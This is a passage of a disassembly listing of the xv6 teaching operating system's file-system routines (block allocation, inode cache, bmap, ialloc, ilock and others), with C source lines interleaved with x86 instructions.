-0x24(%ebp),%esi 80101123: 89 f0 mov %esi,%eax 80101125: c1 f8 0c sar $0xc,%eax 80101128: 03 05 d8 09 11 80 add 0x801109d8,%eax 8010112e: 89 44 24 04 mov %eax,0x4(%esp) 80101132: 8b 45 d8 mov -0x28(%ebp),%eax 80101135: 89 04 24 mov %eax,(%esp) 80101138: e8 93 ef ff ff call 801000d0 <bread> 8010113d: 89 45 e4 mov %eax,-0x1c(%ebp) 80101140: a1 c0 09 11 80 mov 0x801109c0,%eax 80101145: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101148: 31 c0 xor %eax,%eax 8010114a: eb 33 jmp 8010117f <balloc+0x7f> 8010114c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? 80101150: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101153: 89 c2 mov %eax,%edx m = 1 << (bi % 8); 80101155: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101157: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 8010115a: 83 e1 07 and $0x7,%ecx 8010115d: bf 01 00 00 00 mov $0x1,%edi 80101162: d3 e7 shl %cl,%edi if((bp->data[bi/8] & m) == 0){ // Is block free? 80101164: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx m = 1 << (bi % 8); 80101169: 89 f9 mov %edi,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010116b: 0f b6 fb movzbl %bl,%edi 8010116e: 85 cf test %ecx,%edi 80101170: 74 46 je 801011b8 <balloc+0xb8> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101172: 83 c0 01 add $0x1,%eax 80101175: 83 c6 01 add $0x1,%esi 80101178: 3d 00 10 00 00 cmp $0x1000,%eax 8010117d: 74 05 je 80101184 <balloc+0x84> 8010117f: 3b 75 e0 cmp -0x20(%ebp),%esi 80101182: 72 cc jb 80101150 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101184: 8b 45 e4 mov -0x1c(%ebp),%eax 80101187: 89 04 24 mov %eax,(%esp) 8010118a: e8 51 f0 ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010118f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101196: 8b 45 dc mov -0x24(%ebp),%eax 80101199: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax 8010119f: 0f 82 7b ff ff ff jb 80101120 <balloc+0x20> } panic("balloc: out of blocks"); 801011a5: c7 04 24 5f 6f 10 80 movl $0x80106f5f,(%esp) 801011ac: e8 af f1 ff ff call 80100360 <panic> 801011b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp->data[bi/8] |= m; // Mark block in use. 801011b8: 09 d9 or %ebx,%ecx 801011ba: 8b 5d e4 mov -0x1c(%ebp),%ebx 801011bd: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1) log_write(bp); 801011c1: 89 1c 24 mov %ebx,(%esp) 801011c4: e8 f7 1a 00 00 call 80102cc0 <log_write> brelse(bp); 801011c9: 89 1c 24 mov %ebx,(%esp) 801011cc: e8 0f f0 ff ff call 801001e0 <brelse> bp = bread(dev, bno); 801011d1: 8b 45 d8 mov -0x28(%ebp),%eax 801011d4: 89 74 24 04 mov %esi,0x4(%esp) 801011d8: 89 04 24 mov %eax,(%esp) 801011db: e8 f0 ee ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 801011e0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801011e7: 00 801011e8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801011ef: 00 bp = bread(dev, bno); 801011f0: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 801011f2: 8d 40 5c lea 0x5c(%eax),%eax 801011f5: 89 04 24 mov %eax,(%esp) 801011f8: e8 93 30 00 00 call 80104290 <memset> log_write(bp); 801011fd: 89 1c 24 mov %ebx,(%esp) 80101200: e8 bb 1a 00 00 call 80102cc0 <log_write> brelse(bp); 80101205: 89 1c 24 mov %ebx,(%esp) 80101208: e8 d3 ef ff ff call 801001e0 <brelse> } 8010120d: 83 c4 2c add $0x2c,%esp 80101210: 89 f0 mov %esi,%eax 80101212: 5b pop %ebx 80101213: 5e pop %esi 80101214: 5f pop %edi 80101215: 5d pop %ebp 80101216: c3 ret 80101217: 89 f6 mov %esi,%esi 80101219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101220 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101220: 55 push %ebp 80101221: 89 e5 mov %esp,%ebp 80101223: 57 push %edi 80101224: 89 c7 mov %eax,%edi 80101226: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101227: 31 f6 xor %esi,%esi { 80101229: 53 push %ebx for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010122a: bb 14 0a 11 80 mov $0x80110a14,%ebx { 8010122f: 83 ec 1c sub $0x1c,%esp acquire(&icache.lock); 80101232: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) { 80101239: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 8010123c: e8 0f 2f 00 00 call 80104150 <acquire> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101241: 8b 55 e4 mov -0x1c(%ebp),%edx 80101244: eb 14 jmp 8010125a <iget+0x3a> 80101246: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101248: 85 f6 test %esi,%esi 8010124a: 74 3c je 80101288 <iget+0x68> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010124c: 81 c3 90 00 00 00 add $0x90,%ebx 80101252: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101258: 74 46 je 801012a0 <iget+0x80> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8010125a: 8b 4b 08 mov 0x8(%ebx),%ecx 8010125d: 85 c9 test %ecx,%ecx 8010125f: 7e e7 jle 80101248 <iget+0x28> 80101261: 39 3b cmp %edi,(%ebx) 80101263: 75 e3 jne 80101248 <iget+0x28> 80101265: 39 53 04 cmp %edx,0x4(%ebx) 80101268: 75 de jne 80101248 <iget+0x28> ip->ref++; 8010126a: 83 c1 01 add $0x1,%ecx return ip; 8010126d: 89 de mov %ebx,%esi release(&icache.lock); 8010126f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) ip->ref++; 80101276: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 80101279: e8 c2 2f 00 00 call 80104240 <release> ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 8010127e: 83 c4 1c add $0x1c,%esp 80101281: 89 f0 mov %esi,%eax 80101283: 5b pop %ebx 80101284: 5e pop %esi 80101285: 5f pop %edi 80101286: 5d pop %ebp 80101287: c3 ret 80101288: 85 c9 test %ecx,%ecx 8010128a: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010128d: 81 c3 90 00 00 00 add $0x90,%ebx 80101293: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101299: 75 bf jne 8010125a <iget+0x3a> 8010129b: 90 nop 8010129c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0) 801012a0: 85 f6 test %esi,%esi 801012a2: 74 29 je 801012cd <iget+0xad> ip->dev = dev; 801012a4: 89 3e mov %edi,(%esi) ip->inum = inum; 801012a6: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012a9: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 801012b0: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 801012b7: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801012be: e8 7d 2f 00 00 call 80104240 <release> } 801012c3: 83 c4 1c add $0x1c,%esp 801012c6: 89 f0 mov %esi,%eax 801012c8: 5b pop %ebx 801012c9: 5e pop %esi 801012ca: 5f pop %edi 801012cb: 5d pop %ebp 801012cc: c3 ret panic("iget: no inodes"); 801012cd: c7 04 24 75 6f 10 80 movl $0x80106f75,(%esp) 801012d4: e8 87 f0 ff ff call 80100360 <panic> 801012d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801012e0 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801012e0: 55 push %ebp 801012e1: 89 e5 mov %esp,%ebp 801012e3: 57 push %edi 801012e4: 56 push %esi 801012e5: 53 push %ebx 801012e6: 89 c3 mov %eax,%ebx 801012e8: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801012eb: 83 fa 0b cmp $0xb,%edx 801012ee: 77 18 ja 80101308 <bmap+0x28> 801012f0: 8d 34 90 lea (%eax,%edx,4),%esi if((addr = ip->addrs[bn]) == 0) 801012f3: 8b 46 5c mov 0x5c(%esi),%eax 801012f6: 85 c0 test %eax,%eax 801012f8: 74 66 je 80101360 <bmap+0x80> brelse(bp); return addr; } panic("bmap: out of range"); } 801012fa: 83 c4 1c add $0x1c,%esp 801012fd: 5b pop %ebx 801012fe: 5e pop %esi 801012ff: 5f pop %edi 80101300: 5d pop %ebp 80101301: c3 ret 80101302: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; 80101308: 8d 72 f4 lea -0xc(%edx),%esi if(bn < NINDIRECT){ 8010130b: 83 fe 7f cmp $0x7f,%esi 8010130e: 77 77 ja 80101387 <bmap+0xa7> if((addr = ip->addrs[NDIRECT]) == 0) 80101310: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80101316: 85 c0 test %eax,%eax 80101318: 74 5e je 80101378 <bmap+0x98> bp = bread(ip->dev, addr); 8010131a: 89 44 24 04 mov %eax,0x4(%esp) 8010131e: 8b 03 mov (%ebx),%eax 80101320: 89 04 24 mov %eax,(%esp) 80101323: e8 a8 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 80101328: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx bp = bread(ip->dev, addr); 8010132c: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 8010132e: 8b 32 mov (%edx),%esi 80101330: 85 f6 test %esi,%esi 80101332: 75 19 jne 8010134d <bmap+0x6d> a[bn] = addr = balloc(ip->dev); 80101334: 8b 03 mov (%ebx),%eax 80101336: 89 55 e4 mov %edx,-0x1c(%ebp) 80101339: e8 c2 fd ff ff call 80101100 <balloc> 8010133e: 8b 55 e4 mov -0x1c(%ebp),%edx 80101341: 89 02 mov %eax,(%edx) 80101343: 89 c6 mov %eax,%esi log_write(bp); 80101345: 89 3c 24 mov %edi,(%esp) 80101348: e8 73 19 00 00 call 80102cc0 <log_write> brelse(bp); 8010134d: 89 3c 24 mov %edi,(%esp) 80101350: e8 8b ee ff ff call 801001e0 <brelse> } 80101355: 83 c4 1c add $0x1c,%esp brelse(bp); 80101358: 89 f0 mov %esi,%eax } 8010135a: 5b pop %ebx 8010135b: 5e pop %esi 8010135c: 5f pop %edi 8010135d: 5d pop %ebp 8010135e: c3 ret 8010135f: 90 nop ip->addrs[bn] = addr = balloc(ip->dev); 80101360: 8b 03 mov (%ebx),%eax 80101362: e8 99 fd ff ff call 80101100 <balloc> 80101367: 89 46 5c mov %eax,0x5c(%esi) } 8010136a: 83 c4 1c add $0x1c,%esp 8010136d: 5b pop %ebx 8010136e: 5e pop %esi 8010136f: 5f pop %edi 80101370: 5d pop %ebp 80101371: c3 ret 80101372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101378: 8b 03 mov (%ebx),%eax 8010137a: e8 81 fd ff ff call 80101100 <balloc> 8010137f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) 80101385: eb 93 jmp 8010131a <bmap+0x3a> panic("bmap: out of range"); 80101387: c7 04 24 85 6f 10 80 movl $0x80106f85,(%esp) 8010138e: e8 cd ef ff ff call 80100360 <panic> 80101393: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101399: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013a0 <readsb>: { 801013a0: 55 push %ebp 801013a1: 89 e5 mov %esp,%ebp 801013a3: 56 push %esi 801013a4: 53 push %ebx 801013a5: 83 ec 10 sub $0x10,%esp bp = bread(dev, 1); 801013a8: 8b 45 08 mov 0x8(%ebp),%eax 801013ab: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 801013b2: 00 { 801013b3: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 801013b6: 89 04 24 mov %eax,(%esp) 801013b9: e8 12 ed ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 801013be: 89 34 24 mov %esi,(%esp) 801013c1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 801013c8: 00 bp = bread(dev, 1); 801013c9: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 801013cb: 8d 40 5c lea 0x5c(%eax),%eax 801013ce: 89 44 24 04 mov %eax,0x4(%esp) 801013d2: e8 59 2f 00 00 call 80104330 <memmove> brelse(bp); 801013d7: 89 5d 08 mov %ebx,0x8(%ebp) } 801013da: 83 c4 10 add $0x10,%esp 801013dd: 5b pop %ebx 801013de: 5e pop %esi 801013df: 5d pop %ebp brelse(bp); 801013e0: e9 fb ed ff ff jmp 801001e0 <brelse> 801013e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801013e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013f0 <bfree>: { 801013f0: 55 push %ebp 801013f1: 89 e5 mov %esp,%ebp 801013f3: 57 push %edi 801013f4: 89 d7 mov %edx,%edi 801013f6: 56 push %esi 801013f7: 53 push %ebx 801013f8: 89 c3 mov %eax,%ebx 801013fa: 83 ec 1c sub $0x1c,%esp readsb(dev, &sb); 801013fd: 89 04 24 mov %eax,(%esp) 80101400: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 80101407: 80 80101408: e8 93 ff ff ff call 801013a0 <readsb> bp = bread(dev, BBLOCK(b, sb)); 8010140d: 89 fa mov %edi,%edx 8010140f: c1 ea 0c shr $0xc,%edx 80101412: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101418: 89 1c 24 mov %ebx,(%esp) m = 1 << (bi % 8); 8010141b: bb 01 00 00 00 mov $0x1,%ebx bp = bread(dev, BBLOCK(b, sb)); 80101420: 89 54 24 04 mov %edx,0x4(%esp) 80101424: e8 a7 ec ff ff call 801000d0 <bread> m = 1 << (bi % 8); 80101429: 89 f9 mov %edi,%ecx bi = b % BPB; 8010142b: 81 e7 ff 0f 00 00 and $0xfff,%edi 80101431: 89 fa mov %edi,%edx m = 1 << (bi % 8); 80101433: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101436: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 80101439: d3 e3 shl %cl,%ebx bp = bread(dev, BBLOCK(b, sb)); 8010143b: 89 c6 mov %eax,%esi if((bp->data[bi/8] & m) == 0) 8010143d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax 80101442: 0f b6 c8 movzbl %al,%ecx 80101445: 85 d9 test %ebx,%ecx 80101447: 74 20 je 80101469 <bfree+0x79> bp->data[bi/8] &= ~m; 80101449: f7 d3 not %ebx 8010144b: 21 c3 and %eax,%ebx 8010144d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1) log_write(bp); 80101451: 89 34 24 mov %esi,(%esp) 80101454: e8 67 18 00 00 call 80102cc0 <log_write> brelse(bp); 80101459: 89 34 24 mov %esi,(%esp) 8010145c: e8 7f ed ff ff call 801001e0 <brelse> } 80101461: 83 c4 1c add $0x1c,%esp 80101464: 5b pop %ebx 80101465: 5e pop %esi 80101466: 5f pop %edi 80101467: 5d pop %ebp 80101468: c3 ret panic("freeing free block"); 80101469: c7 04 24 98 6f 10 80 movl $0x80106f98,(%esp) 80101470: e8 eb ee ff ff call 80100360 <panic> 80101475: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101480 <iinit>: { 80101480: 55 push %ebp 80101481: 89 e5 mov %esp,%ebp 80101483: 53 push %ebx 80101484: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101489: 83 ec 24 sub $0x24,%esp initlock(&icache.lock, "icache"); 8010148c: c7 44 24 04 ab 6f 10 movl $0x80106fab,0x4(%esp) 80101493: 80 80101494: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010149b: e8 c0 2b 00 00 call 80104060 <initlock> initsleeplock(&icache.inode[i].lock, "inode"); 801014a0: 89 1c 24 mov %ebx,(%esp) 801014a3: 81 c3 90 00 00 00 add $0x90,%ebx 801014a9: c7 44 24 04 b2 6f 10 movl $0x80106fb2,0x4(%esp) 801014b0: 80 801014b1: e8 9a 2a 00 00 call 80103f50 <initsleeplock> for(i = 0; i < NINODE; i++) { 801014b6: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014bc: 75 e2 jne 801014a0 <iinit+0x20> readsb(dev, &sb); 801014be: 8b 45 08 mov 0x8(%ebp),%eax 801014c1: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801014c8: 80 801014c9: 89 04 24 mov %eax,(%esp) 801014cc: e8 cf fe ff ff call 801013a0 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014d1: a1 d8 09 11 80 mov 0x801109d8,%eax 801014d6: c7 04 24 18 70 10 80 movl $0x80107018,(%esp) 801014dd: 89 44 24 1c mov %eax,0x1c(%esp) 801014e1: a1 d4 09 11 80 mov 0x801109d4,%eax 801014e6: 89 44 24 18 mov %eax,0x18(%esp) 801014ea: a1 d0 09 11 80 mov 0x801109d0,%eax 801014ef: 89 44 24 14 mov %eax,0x14(%esp) 801014f3: a1 cc 09 11 80 mov 0x801109cc,%eax 801014f8: 89 44 24 10 mov %eax,0x10(%esp) 801014fc: a1 c8 09 11 80 mov 0x801109c8,%eax 80101501: 89 44 24 0c mov %eax,0xc(%esp) 80101505: a1 c4 09 11 80 mov 0x801109c4,%eax 8010150a: 89 44 24 08 mov %eax,0x8(%esp) 8010150e: a1 c0 09 11 80 mov 0x801109c0,%eax 80101513: 89 44 24 04 mov %eax,0x4(%esp) 80101517: e8 34 f1 ff ff call 80100650 <cprintf> } 8010151c: 83 c4 24 add $0x24,%esp 8010151f: 5b pop %ebx 80101520: 5d pop %ebp 80101521: c3 ret 80101522: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101530 <ialloc>: { 80101530: 55 push %ebp 80101531: 89 e5 mov %esp,%ebp 80101533: 57 push %edi 80101534: 56 push %esi 80101535: 53 push %ebx 80101536: 83 ec 2c sub $0x2c,%esp 80101539: 8b 45 0c mov 0xc(%ebp),%eax for(inum = 1; inum < sb.ninodes; inum++){ 8010153c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101543: 8b 7d 08 mov 0x8(%ebp),%edi 80101546: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101549: 0f 86 a2 00 00 00 jbe 801015f1 <ialloc+0xc1> 8010154f: be 01 00 00 00 mov $0x1,%esi 80101554: bb 01 00 00 00 mov $0x1,%ebx 80101559: eb 1a jmp 80101575 <ialloc+0x45> 8010155b: 90 nop 8010155c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi brelse(bp); 80101560: 89 14 24 mov %edx,(%esp) for(inum = 1; inum < sb.ninodes; inum++){ 80101563: 83 c3 01 add $0x1,%ebx brelse(bp); 80101566: e8 75 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010156b: 89 de mov %ebx,%esi 8010156d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx 80101573: 73 7c jae 801015f1 <ialloc+0xc1> bp = bread(dev, IBLOCK(inum, sb)); 80101575: 89 f0 mov %esi,%eax 80101577: c1 e8 03 shr $0x3,%eax 8010157a: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101580: 89 3c 24 mov %edi,(%esp) 80101583: 89 44 24 04 mov %eax,0x4(%esp) 80101587: e8 44 eb ff ff call 801000d0 <bread> 8010158c: 89 c2 mov %eax,%edx dip = (struct dinode*)bp->data + inum%IPB; 8010158e: 89 f0 mov %esi,%eax 80101590: 83 e0 07 and $0x7,%eax 80101593: c1 e0 06 shl $0x6,%eax 80101596: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010159a: 66 83 39 00 cmpw $0x0,(%ecx) 8010159e: 75 c0 jne 80101560 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 801015a0: 89 0c 24 mov %ecx,(%esp) 801015a3: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 801015aa: 00 801015ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801015b2: 00 801015b3: 89 55 dc mov %edx,-0x24(%ebp) 801015b6: 89 4d e0 mov %ecx,-0x20(%ebp) 801015b9: e8 d2 2c 00 00 call 80104290 <memset> dip->type = type; 801015be: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax log_write(bp); // mark it allocated on the disk 801015c2: 8b 55 dc mov -0x24(%ebp),%edx dip->type = type; 801015c5: 8b 4d e0 mov -0x20(%ebp),%ecx log_write(bp); // mark it allocated on the disk 801015c8: 89 55 e4 mov %edx,-0x1c(%ebp) dip->type = type; 801015cb: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 801015ce: 89 14 24 mov %edx,(%esp) 801015d1: e8 ea 16 00 00 call 80102cc0 <log_write> brelse(bp); 801015d6: 8b 55 e4 mov -0x1c(%ebp),%edx 801015d9: 89 14 24 mov %edx,(%esp) 801015dc: e8 ff eb ff ff call 801001e0 <brelse> } 801015e1: 83 c4 2c add $0x2c,%esp return iget(dev, inum); 801015e4: 89 f2 mov %esi,%edx } 801015e6: 5b pop %ebx return iget(dev, inum); 801015e7: 89 f8 mov %edi,%eax } 801015e9: 5e pop %esi 801015ea: 5f pop %edi 801015eb: 5d pop %ebp return iget(dev, inum); 801015ec: e9 2f fc ff ff jmp 80101220 <iget> panic("ialloc: no inodes"); 801015f1: c7 04 24 b8 6f 10 80 movl $0x80106fb8,(%esp) 801015f8: e8 63 ed ff ff call 80100360 <panic> 801015fd: 8d 76 00 lea 0x0(%esi),%esi 80101600 <iupdate>: { 80101600: 55 push %ebp 80101601: 89 e5 mov %esp,%ebp 80101603: 56 push %esi 80101604: 53 push %ebx 80101605: 83 ec 10 sub $0x10,%esp 80101608: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8010160b: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010160e: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101611: c1 e8 03 shr $0x3,%eax 80101614: 03 05 d4 09 11 80 add 0x801109d4,%eax 8010161a: 89 44 24 04 mov %eax,0x4(%esp) 8010161e: 8b 43 a4 mov -0x5c(%ebx),%eax 80101621: 89 04 24 mov %eax,(%esp) 80101624: e8 a7 ea ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101629: 8b 53 a8 mov -0x58(%ebx),%edx 8010162c: 83 e2 07 and $0x7,%edx 8010162f: c1 e2 06 shl $0x6,%edx 80101632: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101636: 89 c6 mov %eax,%esi dip->type = ip->type; 80101638: 0f b7 43 f4 movzwl -0xc(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010163c: 83 c2 0c add $0xc,%edx dip->type = ip->type; 8010163f: 66 89 42 f4 mov %ax,-0xc(%edx) dip->major = ip->major; 80101643: 0f b7 43 f6 movzwl -0xa(%ebx),%eax 80101647: 66 89 42 f6 mov %ax,-0xa(%edx) dip->minor = ip->minor; 8010164b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax 8010164f: 66 89 42 f8 mov %ax,-0x8(%edx) dip->nlink = ip->nlink; 80101653: 0f b7 43 fa movzwl -0x6(%ebx),%eax 80101657: 66 89 42 fa mov %ax,-0x6(%edx) dip->size = ip->size; 8010165b: 8b 43 fc mov -0x4(%ebx),%eax 8010165e: 89 42 fc mov %eax,-0x4(%edx) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101661: 89 5c 24 04 mov %ebx,0x4(%esp) 80101665: 89 14 24 mov %edx,(%esp) 80101668: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8010166f: 00 80101670: e8 bb 2c 00 00 call 80104330 <memmove> log_write(bp); 80101675: 89 34 24 mov %esi,(%esp) 80101678: e8 43 16 00 00 call 80102cc0 <log_write> brelse(bp); 8010167d: 89 75 08 mov %esi,0x8(%ebp) } 80101680: 83 c4 10 add $0x10,%esp 80101683: 5b pop %ebx 80101684: 5e pop %esi 80101685: 5d pop %ebp brelse(bp); 80101686: e9 55 eb ff ff jmp 801001e0 <brelse> 8010168b: 90 nop 8010168c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101690 <idup>: { 80101690: 55 push %ebp 80101691: 89 e5 mov %esp,%ebp 80101693: 53 push %ebx 80101694: 83 ec 14 sub $0x14,%esp 80101697: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010169a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801016a1: e8 aa 2a 00 00 call 80104150 <acquire> ip->ref++; 801016a6: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 801016aa: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801016b1: e8 8a 2b 00 00 call 80104240 <release> } 801016b6: 83 c4 14 add $0x14,%esp 801016b9: 89 d8 mov %ebx,%eax 801016bb: 5b pop %ebx 801016bc: 5d pop %ebp 801016bd: c3 ret 801016be: 66 90 xchg %ax,%ax 801016c0 <ilock>: { 801016c0: 55 push %ebp 801016c1: 89 e5 mov %esp,%ebp 801016c3: 56 push %esi 801016c4: 53 push %ebx 801016c5: 83 ec 10 sub $0x10,%esp 801016c8: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 801016cb: 85 db test %ebx,%ebx 801016cd: 0f 84 b3 00 00 00 je 80101786 <ilock+0xc6> 801016d3: 8b 53 08 mov 0x8(%ebx),%edx 801016d6: 85 d2 test %edx,%edx 801016d8: 0f 8e a8 00 00 00 jle 80101786 <ilock+0xc6> acquiresleep(&ip->lock); 801016de: 8d 43 0c lea 0xc(%ebx),%eax 801016e1: 89 04 24 mov %eax,(%esp) 801016e4: e8 a7 28 00 00 call 80103f90 <acquiresleep> if(ip->valid == 0){ 801016e9: 8b 43 4c mov 0x4c(%ebx),%eax 801016ec: 85 c0 test %eax,%eax 801016ee: 74 08 je 801016f8 <ilock+0x38> } 801016f0: 83 c4 10 add $0x10,%esp 801016f3: 5b pop %ebx 801016f4: 5e pop %esi 801016f5: 5d pop %ebp 801016f6: c3 ret 801016f7: 90 nop bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016f8: 8b 43 04 mov 0x4(%ebx),%eax 801016fb: c1 e8 03 shr $0x3,%eax 801016fe: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101704: 89 44 24 04 mov %eax,0x4(%esp) 80101708: 8b 03 mov (%ebx),%eax 8010170a: 89 04 24 mov %eax,(%esp) 8010170d: e8 be e9 ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101712: 8b 53 04 mov 0x4(%ebx),%edx 80101715: 83 e2 07 and $0x7,%edx 80101718: c1 e2 06 shl $0x6,%edx 8010171b: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8010171f: 89 c6 mov %eax,%esi ip->type = dip->type; 80101721: 0f b7 02 movzwl (%edx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101724: 83 c2 0c add $0xc,%edx ip->type = dip->type; 80101727: 66 89 43 50 mov %ax,0x50(%ebx) ip->major = dip->major; 8010172b: 0f b7 42 f6 movzwl -0xa(%edx),%eax 8010172f: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = dip->minor; 80101733: 0f b7 42 f8 movzwl -0x8(%edx),%eax 80101737: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = dip->nlink; 8010173b: 0f b7 42 fa movzwl -0x6(%edx),%eax 8010173f: 66 89 43 56 mov %ax,0x56(%ebx) ip->size = dip->size; 80101743: 8b 42 fc mov -0x4(%edx),%eax 80101746: 89 43 58 mov %eax,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101749: 8d 43 5c 